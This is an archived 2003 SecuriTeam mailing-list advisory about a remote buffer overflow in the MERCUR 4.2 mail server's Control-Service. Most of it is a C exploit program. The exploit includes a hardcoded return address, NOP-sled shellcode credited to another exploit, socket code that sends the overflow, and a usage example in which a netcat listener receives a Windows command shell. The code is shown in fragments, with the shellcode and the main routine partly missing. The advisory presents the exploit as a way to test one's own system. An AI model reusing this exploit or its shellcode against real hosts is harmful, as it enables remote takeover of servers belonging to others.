

Securiteam: [NT] MERCUR Mail Server Control–Service Vulnerability (Exploit)

[NT] MERCUR Mail Server Control–Service Vulnerability (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-10/0116.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 10/28/03

To: list@securiteam.com

Date: 28 Oct 2003 10:50:04 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

MERCUR Mail Server Control–Service Vulnerability (Exploit)

SUMMARY

A vulnerability in MERCUR's Control–Service allows remote attackers to overflow an internal buffer, causing it to execute arbitrary code. The following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Vulnerable systems:

* MERCUR version 4.2

By sending a command in the following format:

<260 bytes><EBP><EIP>

To MERCUR's Control–Service (listening port TCP 32000), it is possible to cause the program to execute arbitrary code.

Exploit:

/*

mercexp.c (7/16/2002)

Securiteam: [NT] MERCUR Mail Server Control–Service Vulnerability (Exploit)

```
# ./mercexp 192.168.0.2 32000 192.168.1.2 3333
# nc -l -p 3333
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985–2000 Microsoft Corp.
```

```
E:\WINNT\system32>
```

```
2c79cbe14ac7d0b8472d3f129fa1df55
(c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)
*/
```

```
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/errno.h>
```

```
// CALL EBX; mcrctrl.exe@0x228e
#define EIP "\x8e\x2c\x40\x00"
```

```
// payload.. dumped into remote memory as failed 'username'
// dark spyrit's shell, ripped from jill.c
```

```
unsigned char shell[] =
```

```
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
```


Securiteam: [NT] MERCUR Mail Server Control–Service Vulnerability (Exploit)

```
host");exit(-1);}

    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = inet_addr(inet_ntoa(in));
    sin.sin_port = htons(atoi(argv[2]));

printf("ret: 0x00402c8e (mrcctrl.exe v.4.2.1.0)\n\n");

    printf("connecting to tcp port %s...\n", argv[2]);
    if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) <
0){perror("connection error");exit(-1);}

    printf("connected.\n\n");
    sleep(1);
    printf("dumping payload...");
    if(write(fd, shell, strlen(shell)) < strlen(shell)){perror("write
error");exit(-1);}
    printf("done\n");
    sleep(1);
    printf("sending fake login...");
    if(write(fd, user, strlen(user)) < strlen(user)){perror("write
error");exit(-1);}
    printf("done\n");
    sleep(1);
    printf("eip overrun...");
    if(write(fd, passwd, strlen(passwd)) < strlen(passwd)){perror("write
error");exit(-1);}
    printf("done\n\n");

printf("cmd.exe spawned to [%s:%s]\n\n", argv[3], argv[4]);

    close(fd);

}
```

ADDITIONAL INFORMATION

The information has been provided by Anonymous.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

Securiteam: [NT] MERCUR Mail Server Control–Service Vulnerability (Exploit)

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.